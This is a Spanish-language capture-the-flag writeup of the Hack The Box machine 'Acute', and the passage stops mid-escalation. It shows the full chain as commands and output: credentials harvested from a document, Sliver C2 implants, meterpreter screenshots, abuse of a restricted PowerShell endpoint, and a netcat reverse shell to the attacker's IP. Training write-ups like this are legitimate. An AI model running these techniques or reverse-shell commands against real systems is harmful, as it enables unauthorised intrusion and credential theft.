Table of Contents
Hack The Box: Acute Writeup
Welcome to my detailed writeup of the hard difficulty machine “Acute” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.136.40 --ulimit 5000 -g
210.129.136.40 -> [443]
1$ nmap -p443 -sCV 10.129.136.40 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 20:39 CEST
3Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
4Service scan Timing: About 0.00% done
5Nmap scan report for 10.129.136.40
6Host is up (0.048s latency).
7
8PORT STATE SERVICE VERSION
9443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10|_http-title: Not Found
11| ssl-cert: Subject: commonName=atsserver.acute.local
12| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
13| Not valid before: 2022-01-06T06:34:58
14|_Not valid after: 2030-01-04T06:34:58
15| tls-alpn:
16|_ http/1.1
17|_ssl-date: 2024-09-06T16:39:36+00:00; -2h00m01s from scanner time.
18|_http-server-header: Microsoft-HTTPAPI/2.0
19Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
20
21Host script results:
22|_clock-skew: -2h00m01s
23
24Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
25Nmap done: 1 IP address (1 host up) scanned in 20.12 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.136.40 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 20:39 CEST
3Nmap scan report for 10.129.136.40
4Host is up.
5All 1500 scanned ports on 10.129.136.40 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
Me llama la atención que solo esté abierto externamente el puerto 443.
Del escaneo inicial vemos el dominio acute.local
y el subdominio atsserver.acute.local
que mas bien, será el CN del servidor. Lo añadimos al /etc/hosts
HTTPS Enumeration
Vamos primero a analizar el certificado SSL.
1$ openssl s_client -showcerts -connect 10.129.136.40:443
Descubrimos el nombre de la CA (Certification Authority) acute-ATSSERVER-CA
, lo vamos a añadir igual al /etc/hosts
1$ whatweb https://acute.local
2https://acute.local [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.129.136.40], Microsoft-HTTPAPI[2.0], Title[Not Found]
1$ whatweb https://atsserver.acute.local
2https://atsserver.acute.local [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.136.40], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]
Con whatweb
vemos respuestas distintas para el dominio principal y el subdominio atsserver
, por lo cual me indica que se debe de estar utilizando virtual hosting por detrás.
atsserver.acute.local
Esta es la pinta del sitio web.
En el recurso /about.html
encontramos un listado con miembros del equipo.
Acute Health work with healthcare providers, councils and NHS units in the UK, training over 10,000 nurses, managers and healthcare workers every year. Some of our more established team members have been included for multiple awards, these members include Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins. Each of whom have come away with special accolades from the Healthcare community.
Siempre está bien tener un listado de usuarios, así que vamos a utilizar la típica combinación de primera letra + apellido para crear una lista de usuarios.
1$ cat users.txt
2a.wallace
3c.hall
4e.davies
5i.monks
6j.morgan
7l.hopkins
8awallace
9chall
10edavies
11imonks
12jmorgan
13lhopkins
En la barra de navegación encontramos este hipervínculo que nos lleva a un documento word.
Information Disclosure
Nos lo descargamos.
1$ wget https://atsserver.acute.local/New_Starter_CheckList_v7.docx --no-check-certificate
2--2024-09-06 20:51:05-- https://atsserver.acute.local/New_Starter_CheckList_v7.docx
3Resolving atsserver.acute.local (atsserver.acute.local)... 10.129.136.40
4Connecting to atsserver.acute.local (atsserver.acute.local)|10.129.136.40|:443... connected.
5WARNING: The certificate of ‘atsserver.acute.local’ is not trusted.
6WARNING: The certificate of ‘atsserver.acute.local’ doesn't have a known issuer.
7HTTP request sent, awaiting response... 200 OK
8Length: 34566 (34K) [application/vnd.openxmlformats-officedocument.wordprocessingml.document]
9Saving to: ‘New_Starter_CheckList_v7.docx’
10
11New_Starter_CheckList_v7.docx 100%[====================================================================>] 33,76K --.-KB/s in 0s
12
132024-09-06 20:51:05 (81,9 MB/s) - ‘New_Starter_CheckList_v7.docx’ saved [34566/34566]
Revisando los metadatos del archivo encontramos lo siguiente.
1$ exiftool New_Starter_CheckList_v7.docx
2Creator : FCastle
3escription : Created on Acute-PC01
4Last Modified By : Daniel
Encontramos dos nuevos usuarios, fcastle
y daniel
Además encontramos el nombre de un equipo, Acute-PC01
Revisando el documento encontramos una credencial, por la cara.. Password1!
También encontramos un hipervínculo a https://atsserver.acute.local/Acute_Staff_Access/
Nos lleva a un inicio de sesión de PSWA Powershell Web Access
.
Permite a los profesionales de TI ejecutar comandos y scripts de Windows PowerShell desde una consola de Windows PowerShell en un navegador web , sin necesidad de instalar Windows PowerShell, software de administración remota o complementos de navegador en el dispositivo cliente.
Probando a iniciar sesión al equipo Acute-PC01
con la contraseña encontrada y con los usuarios encontrados, podemos iniciar sesión con el usuario edavies
Nos vamos a descargar netcat
en la máquina víctima para enviarnos una consola interactiva para trabajar mas cómodamente.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.136.40] 49862
4Microsoft Windows [Version 10.0.19044.1466]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Users\edavies\desktop>
El problema es que esta sesión es cerrada cada x segundos, por lo cual me tengo que buscar otra opción.
Me voy a poner un poco “fancy” y vamos a utilizar Sliver, un C2 Framework muy utilizando en pentesting y ejercicios de red-teaming.
Si no sabéis nada sobre Sliver, os recomiendo aprender al menos lo básico ya que puede resultar muy útil en algunos momentos.
Vamos a generar un nuevo beacon para realizar la infección inicial y luego migraremos a una sesión.
Vamos a generar un HTTP Beacon así que primero nos ponemos en escucha por el puerto 80.
1[server] sliver > http
2
3[*] Starting HTTP :80 listener ...
4[*] Successfully started job #1
Ahora generamos el Beacon
1[server] sliver > generate beacon --http 10.10.14.125
2
3[*] Generating new windows/amd64 beacon implant binary (1m0s)
4[*] Symbol obfuscation is enabled
5[*] Build completed in 28s
6[*] Implant saved to /home/pointedsec/Desktop/acute/content/REMAINING_CLEAVAGE.exe
Nos servimos como antes este ejecutable por el puerto 8081. Y al intentar ejecutarlo vemos lo siguiente.
1PS C:\Users\edavies\desktop>
2
3iwr http://10.10.14.125:8081/REMAINING_CLEAVAGE.exe -o REMAINING_CLEAVAGE.exe
4
5PS C:\Users\edavies\desktop>
6
7.\REMAINING_CLEAVAGE.exe
8
9Program 'REMAINING_CLEAVAGE.exe' failed to run: Operation did not complete successfully because the file contains a virus
10
11 or potentially unwanted software.
12
13 + CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
14
15 + FullyQualifiedErrorId : NativeCommandFailed
Parece que el Defender está detectando el implante de Sliver. Hay varias formas de bypassear esto pero no nos va a hacer falta porque me di cuenta de un directorio no habitual, C:\Utils
1PS C:\>
2
3dir
4
5
6
7
8
9 Directory: C:\
10
11
12
13
14
15Mode LastWriteTime Length Name
16
17---- ------------- ------ ----
18
19d----- 12/7/2019 9:14 AM PerfLogs
20
21d-r--- 12/6/2021 11:06 AM Program Files
22
23d-r--- 12/7/2021 12:43 PM Program Files (x86)
24
25d-r--- 12/21/2021 10:50 PM Users
26
27d----- 1/31/2022 12:29 AM Utils
28
29d----- 12/16/2021 1:23 AM Windows
El directorio contenía un fichero desktop.ini
oculto el cual tenía la siguiente descripción.
1PS C:\Utils>
2
3dir
4
5PS C:\Utils>
6
7dir -force
8
9
10
11
12
13 Directory: C:\Utils
14
15
16
17
18
19Mode LastWriteTime Length Name
20
21---- ------------- ------ ----
22
23-a-h-- 12/21/2021 6:41 PM 148 desktop.ini
24
25
26
27
28
29PS C:\Utils>
30
31type desktop.ini
32
33[.ShellClassInfo]
34
35InfoTip=Directory for Testing Files without Defender
36
37PS C:\Utils>
Muy CTF todo, pero vamos a descargar aquí el ejecutable.
Por alguna razón no conseguía la conexión en Sliver, así que probé a generar otro implante pero esta vez para que la conexión se realice a través de mtls
1[server] sliver > generate --mtls 10.10.14.125 --os windows --arch amd64 --format exe
2
3[*] Generating new windows/amd64 implant binary
4[*] Symbol obfuscation is enabled
5[*] Build completed in 29s
6[*] Implant saved to /home/pointedsec/Desktop/acute/content/TOUGH_PERIPHERAL.exe
Nos ponemos en escucha.
1[server] sliver > mtls
2
3[*] Starting mTLS listener ...
4
5[*] Successfully started job #1
6
7[server] sliver > jobs
8
9 ID Name Protocol Port Stage Profile
10==== ====== ========== ====== ===============
11 1 mtls tcp 8888
Y ahora sí que conseguimos una sesión.
1[server] sliver > sessions
2
3 ID Transport Remote Address Hostname Username Operating System Health
4========== =========== ===================== ============ =============== ================== =========
5 7200a7d4 mtls 10.129.136.40:49890 Acute-PC01 ACUTE\edavies windows/amd64 [ALIVE]
Sabiendo que ahora si que podemos comunicarnos, vamos a crear un beacon a través de mtls.
1[server] sliver > generate beacon --mtls 10.10.14.125 --os windows --arch amd64 --format exe --seconds 5 --jitter 3
2
3[*] Generating new windows/amd64 beacon implant binary (5s)
4[*] Symbol obfuscation is enabled
5[*] Build completed in 29s
6[*] Implant saved to /home/pointedsec/Desktop/acute/content/DEVELOPING_BELL.exe
Y vemos que lo tenemos.
1[server] sliver > beacons
2
3 ID Name Transport Hostname Username Operating System Last Check-In Next Check-In
4========== ================= =========== ============ =============== ================== =============== ===============
5 17f341b1 DEVELOPING_BELL mtls Acute-PC01 ACUTE\edavies windows/amd64 4s 2s
Ahora con use
podemos interactuar con el beacon.
1[server] sliver (DEVELOPING_BELL) > ifconfig
2
3[*] Tasked beacon DEVELOPING_BELL (2fb97711)
4
5[+] DEVELOPING_BELL completed task 2fb97711
6
7+-----------------------------------------+
8| Ethernet 2 |
9+-----------------------------------------+
10| # | IP Addresses | MAC Address |
11+----+----------------+-------------------+
12| 14 | 172.16.22.2/24 | 00:15:5d:e8:0a:01 |
13+-----------------------------------------+
141 adapters not shown.
Vemos que no estamos en el DC, obviamente.
Ahora que ya tenemos nuestro beacon establecido, vamos a crear una sesión para ganar una consola interactiva.
Simplemente ejecutamos interactive
y automáticamente se generará una sesión si todo sale bien.
1[server] sliver (DEVELOPING_BELL) > interactive
2
3[*] Using beacon's active C2 endpoint: mtls://10.10.14.125:8888
4[*] Tasked beacon DEVELOPING_BELL (6e4a8415)
5
6[*] Session 9245de33 DEVELOPING_BELL - 10.129.136.40:49846 (Acute-PC01) - windows/amd64 - Fri, 06 Sep 2024 22:27:11 CEST
7
8[server] sliver (DEVELOPING_BELL) > sessions
9
10 ID Transport Remote Address Hostname Username Operating System Health
11========== =========== ===================== ============ =============== ================== =========
12 9245de33 mtls 10.129.136.40:49846 Acute-PC01 ACUTE\edavies windows/amd64 [ALIVE]
Y así conseguimos una consola interactiva.
1[server] sliver (DEVELOPING_BELL) > use 9245de33
2
3[*] Active session DEVELOPING_BELL (9245de33-b907-4773-b485-2eec5d075b77)
4
5[server] sliver (DEVELOPING_BELL) > shell
6
7? This action is bad OPSEC, are you an adult? Yes
8
9[*] Wait approximately 10 seconds after exit, and press <enter> to continue
10[*] Opening shell tunnel (EOF to exit) ...
11
12[*] Started remote shell with pid 3176
13
14PS C:\> whoami
15whoami
16acute\edavies
Nos vamos a subir el winpeas
para echar un vistazo.
1[server] sliver (DEVELOPING_BELL) > upload winpeas.exe C:\Utils\\winpeas.exe
2
3[*] Wrote file to C:\Utils\winpeas.exe
Al lanzarlo encontramos lo siguiente, parece que el edavies
verdadero tiene una sesión abierta a través de RDP.
Podemos intentar a hacer capturas de pantalla pero por alguna razón el archivo pesa 0 Bytes.
1[server] sliver (DEVELOPING_BELL) > screenshot
2
3[*] Screenshot written to /tmp/screenshot_Acute-PC01_20240906223745_3502346932.png (0 B)
4
5[server] sliver (DEVELOPING_BELL) > screenshot
6
7[*] Screenshot written to /tmp/screenshot_Acute-PC01_20240906223748_264897519.png (0 B)
Vamos a utilizar momentáneamente metasploit
para ver si podemos conseguir capturas de pantalla de esta forma.
Abrimos la consola de metasploit
1$ msfconsole
Hacemos el típico proceso para ponernos en escucha…
1[msf](Jobs:0 Agents:0) >> use multi/handler
2[*] Using configured payload generic/shell_reverse_tcp
Nos ponemos en escucha por el puerto 9091
1[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/meterpreter/reverse_tcp
2payload => windows/meterpreter/reverse_tcp
3[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST tun0
4LHOST => tun0
5[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 9091
6LPORT => 9091
7[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
8
9[*] Started reverse TCP handler on 10.10.14.125:9091
Sliver tiene una funcionalidad para ejecutar un payload de metasploit en el proceso actual donde tenemos la sesión en este caso.
1server] sliver (DEVELOPING_BELL) > msf --payload meterpreter_reverse_tcp -L 10.10.14.125 -l 9091
2
3[!] Empty response from msf payload injection task
Y ya tenemos la sesión en metasploit.
1[*] Sending stage (175686 bytes) to 10.129.136.40
2[*] Meterpreter session 1 opened (10.10.14.125:9091 -> 10.129.136.40:49868) at 2024-09-06 22:43:11 +0200
3
4(Meterpreter 1)(C:\) > dir
5Listing: C:\
6============
7
8Mode Size Type Last modified Name
9---- ---- ---- ------------- ----
10040777/rwxrwxrwx 4096 dir 2021-12-21 20:15:27 +0100 $Recycle.Bin
11040777/rwxrwxrwx 0 dir 2022-01-12 18:17:45 +0100 $WinREAgent
12100666/rw-rw-rw- 1 fil 2019-12-07 10:08:58 +0100 BOOTNXT
13040777/rwxrwxrwx 0 dir 2021-11-18 23:55:36 +0100 Documents and Settings
14000000/--------- 0 fif 1970-01-01 01:00:00 +0100 DumpStack.log.tmp
15040777/rwxrwxrwx 0 dir 2019-12-07 10:14:52 +0100 PerfLogs
16040555/r-xr-xr-x 4096 dir 2021-12-06 12:06:33 +0100 Program Files
17040555/r-xr-xr-x 4096 dir 2021-12-07 13:43:39 +0100 Program Files (x86)
18040777/rwxrwxrwx 4096 dir 2024-09-06 20:32:22 +0200 ProgramData
19040777/rwxrwxrwx 0 dir 2021-11-18 23:55:55 +0100 Recovery
20040777/rwxrwxrwx 4096 dir 2021-12-21 19:31:14 +0100 System Volume Information
21040555/r-xr-xr-x 4096 dir 2021-12-21 23:50:06 +0100 Users
22040777/rwxrwxrwx 4096 dir 2024-09-06 20:33:19 +0200 Utils
23040777/rwxrwxrwx 16384 dir 2021-12-16 02:23:03 +0100 Windows
24100444/r--r--r-- 413738 fil 2019-12-07 10:08:58 +0100 bootmgr
25000000/--------- 0 fif 1970-01-01 01:00:00 +0100 pagefile.sys
26000000/--------- 0 fif 1970-01-01 01:00:00 +0100 swapfile.sys
Vamos a probar a hacer una captura de pantalla.
1(Meterpreter 1)(C:\) > screenshot
2Screenshot saved to: /home/pointedsec/Desktop/QOZjLPyJ.jpeg
Y vemos que esta no tiene un peso de 0 Bytes.
1$ ls -la QOZjLPyJ.jpeg
2-rw-r--r-- 1 pointedsec pointedsec 65493 sep 6 22:43 QOZjLPyJ.jpeg
Vemos que el usuario estaba escribiendo algo en una powershell.
Como es un CTF obviamente existe una tarea por detrás que se ejecuta cada X tiempo. Esta tarea se ejecuta cada minuto, así que si esperamos un minuto y vamos sacando capturas encontramos lo siguiente.
Está creando un objeto de contraseña segura con la credencial W3_4R3_th3_f0rce.
para el usuario imonks
para la máquina atsserver
Podemos hacer lo mismo que estaba haciendo este usuario y conseguimos ejecución de comandos en la máquina atsserver
Pero estableciendo como ConfigurationName
el nombre la configuración que hemos encontrado antes en el documento word, dc_manage
Y conseguimos ejecución de comandos.
1PS C:\> $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
2$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
3PS C:\> $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
4$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
5PS C:\> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {whoami}
6Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {whoami}
7acute\imonks
8PS C:\>
Podemos predecir la ruta de la flag ya que es común que esté en el escritorio en las máquina en HackTheBox y podemos leer la flag de usuario correctamente.
1S C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\users\imonks\desktop\user
2.txt}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\users\imonks\desktop\user.txt}
4dd7becc036f7e247...
User Pivoting
Me gustaría saber que comandos puedo ejecutar, ya que no tengo acceso a comandos básicos como dir
…
Podemos ejecutar un Get-Command
para ver que comandos podemos ejecutar.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Command}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Command}
3
4CommandType Name Version Source PSComputer
5 Name
6----------- ---- ------- ------ ----------
7Cmdlet Get-Alias 3.1.0.0 Microso... atsserver
8Cmdlet Get-ChildItem 3.1.0.0 Microso... atsserver
9Cmdlet Get-Command 3.0.0.0 Microso... atsserver
10Cmdlet Get-Content 3.1.0.0 Microso... atsserver
11Cmdlet Get-Location 3.1.0.0 Microso... atsserver
12Cmdlet Set-Content 3.1.0.0 Microso... atsserver
13Cmdlet Set-Location 3.1.0.0 Microso... atsserver
14Cmdlet Write-Output 3.1.0.0 Microso... atsserver
También puedes especificar otros tipos de comando:
Alias
: para ver alias de comandos.Function
: para ver funciones definidas.Script
: para ver scripts.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Alias}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Alias}
3
4CommandType Name Version Source PSComputer
5 Name
6----------- ---- ------- ------ ----------
7Alias cat -> Get-Content atsserver
8Alias cd -> Set-Location atsserver
9Alias echo -> Write-Output atsserver
10Alias ls -> Get-ChildItem atsserver
11Alias pwd -> Get-Location atsserver
12Alias sc -> Set-Content atsserver
13Alias type -> Get-Content atsserver
No podemos usar dir
pero según el alias podemos utilizar ls
para listar el contenido.
Y efectivamente funciona.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls C:\}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls C:\}
3
4
5 Directory: C:\
6
7
8Mode LastWriteTime Length Name PSComputerName
9---- ------------- ------ ---- --------------
10d----- 20/12/2021 23:30 inetpub atsserver
11d----- 05/08/2021 20:29 PerfLogs atsserver
12d-r--- 21/12/2021 14:55 Program Files atsserver
13d----- 15/09/2018 08:21 Program Files (x86) atsserver
14d-r--- 22/12/2021 00:11 Users atsserver
15d----- 29/01/2022 00:16 Windows atsserver
Listando el directorio Program Files
vemos un programa llamado keepmeon
No encuentro nada sobre este programa así que quizás es un binario personalizado.
Aunque no tenemos acceso para listar el contenido.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
3Access to the path 'C:\Program Files\keepmeon' is denied.
4 + CategoryInfo : PermissionDenied: (C:\Program Files\keepmeon:String) [Get-ChildItem]
5 , UnauthorizedAccessException
6 + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildIte
7 mCommand
8 + PSComputerName : atsserver
Enumerando los ficheros de este usuario encontramos que a parte de la flag de usuario, en el escritorio, encontramos un fichero wm.ps1
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Users\imonks\Desktop"}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Users\imonks\Desktop"}
3
4
5 Directory: C:\Users\imonks\Desktop
6
7
8Mode LastWriteTime Length Name PSComputerName
9---- ------------- ------ ---- --------------
10-ar--- 06/09/2024 17:37 34 user.txt atsserver
11-a---- 11/01/2022 18:04 602 wm.ps1 atsserver
Al ver el contenido nos encontramos con una sorpresa.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type "C:\Users\imonks\Desktop\wm.
2ps1"}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type "C:\Users\imonks\Desktop\wm.ps1"}
4$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
5$passwd = $securepasswd | ConvertTo-SecureString
6$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
7Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
Una credencial para el usuario jmorgan
en el equipo Acute-PC01
Al intentar convertir la contraseña nos encontramos el siguiente error.
1PS C:\uTILS> $passwd = $securepasswd | ConvertTo-SecureString
2$passwd = $securepasswd | ConvertTo-SecureString
3ConvertTo-SecureString : Key not valid for use in specified state.
4At line:1 char:27
5+ $passwd = $securepasswd | ConvertTo-SecureString
6+ ~~~~~~~~~~~~~~~~~~~~~~
7 + CategoryInfo : InvalidArgument: (:) [ConvertTo-SecureString], CryptographicExceptio
8 n
9 + FullyQualifiedErrorId : ImportSecureString_InvalidArgument_CryptographicError,Microsoft.Powe
10 rShell.Commands.ConvertToSecureStringCommand
Una búsqueda en StackOverFlow nos revela lo siguiente.
You have to create the password string on the same computer and with the same login that you will use to run it.
y
ConvertFrom-SecureString
takes aKey
( andSecureKey
) parameter. You can specify the key to save the encrypted standard string and then use the key again inConvertTo-SecureString
to get back the secure string, irrespective of the user account.
Puede significar que la “key” con la que encripta la contraseña esté almacenada en algún sitio pero en el equipo Acute-PC01
y no en el atsserver
que es donde estamos ejecutando los comandos.
Nos confirma esta teoría el que podemos ejecutar el script y funciona.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks23:40:17 [68/4883]
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}
3
4
5PSComputerName : atsserver
6RunspaceId : 52a86278-f5e0-478a-bad6-558bbd42b23f
7ObjectId : {1}\\ACUTE-PC01\root/Microsoft/Windows/Storage/Providers_v2\WSP_Volume.Objec
8 tId="{8ccfebca-48c0-11ec-9ffe-806e6f6e6963}:VO:\\?\Volume{0eed1261-0000-0000
9 -0000-100000000000}\"
10PassThroughClass :
11PassThroughIds :
12PassThroughNamespace :
13PassThroughServer :
14UniqueId : \\?\Volume{0eed1261-0000-0000-0000-100000000000}\
15AllocationUnitSize : 4096
16DedupMode : 4
17DriveLetter :
18DriveType : 3
19FileSystem : NTFS
20FileSystemLabel : System Reserved
21FileSystemType : 14
22HealthStatus : 0
23OperationalStatus : {2}
24Path : \\?\Volume{0eed1261-0000-0000-0000-100000000000}\
25Size : 52424704
26SizeRemaining : 20611072
27
28PSComputerName : atsserver
29RunspaceId : 52a86278-f5e0-478a-bad6-558bbd42b23f
30ObjectId : {1}\\ACUTE-PC01\root/Microsoft/Windows/Storage/Providers_v2\WSP_Volume.Objec
31 tId="{8ccfebca-48c0-11ec-9ffe-806e6f6e6963}:VO:\\?\Volume{0eed1261-0000-0000
32....
Como tenemos permisos para utilizar sc
y cambiar el contenido del script, podemos simplemente modificar el script y así conseguirá la clave de la máquina Acute-PC01
y ejecutar el comando que queramos.
1Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {sc C:\Users\imonks\Desktop\wm.ps1 -Value "`$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';`$passwd = `$securepasswd | ConvertTo-SecureString;`$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',`$passwd);Invoke-Command -ScriptBlock {whoami} -ComputerName Acute-PC01 -Credential `$creds"}
Ahora podemos comprobar que el script se ha modificado.
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.p
2s1}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.ps1}
4$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';$passwd = $securepasswd | ConvertTo-SecureString;$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',$passwd);Invoke-Command -ScriptBlock {whoami} -ComputerName Acute-PC01 -Credential $creds
Podemos ver que donde antes se ejecutaba un Get-Volume
ahora se ejecutará un whoami
1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}
3acute\jmorgan
Y conseguimos ejecutar comandos como jmorgan
, ahora vamos a mandarnos una reverse shell.
Lo bueno es que la sesión de Sliver la tenemos en Acute-PC01
, así que simplemente podemos modificar el script para mandarnos una reverse shell con netcat
como el usuario jmorgan
Como netcat
no es considerado un programa peligroso por defecto en Windows, podemos dejarlo en C:\ProgramData
Modificamos el script.
1Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {sc C:\Users\imonks\Desktop\wm.ps1 -Value "`$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';`$passwd = `$securepasswd | ConvertTo-SecureString;`$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',`$passwd);Invoke-Command -ScriptBlock {C:\ProgramData\nc.exe 10.10.14.125 443 -e cmd.exe} -ComputerName Acute-PC01 -Credential `$creds"}
Ahora podemos comprobar que se ha modificado.
1Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.p
2s1}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.ps1}
4$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';$passwd = $securepasswd | ConvertTo-SecureString;$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',$passwd);Invoke-Command -ScriptBlock {C:\ProgramData\nc.exe 10.10.14.125 443 -e cmd.exe} -ComputerName Acute-PC01 -Credential $creds
Nos ponemos en escucha en el puerto 443.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Ahora lo ejecutamos.
1PS C:\ProgramData> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}
Y conseguimos una consola como jmorgan
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.136.40] 49849
4Microsoft Windows [Version 10.0.19044.1466]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Users\jmorgan\Documents>whoami
8whoami
9acute\jmorgan
User Pivoting 2
Podemos comprobar que jmorgan
es un usuario administrador en esta máquina.
1C:\Users\jmorgan\Documents>whoami /groups
2whoami /groups
3
4GROUP INFORMATION
5-----------------
6
7Group Name Type SID Attributes
8========================================== ================ ============ ===============================================================
9Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
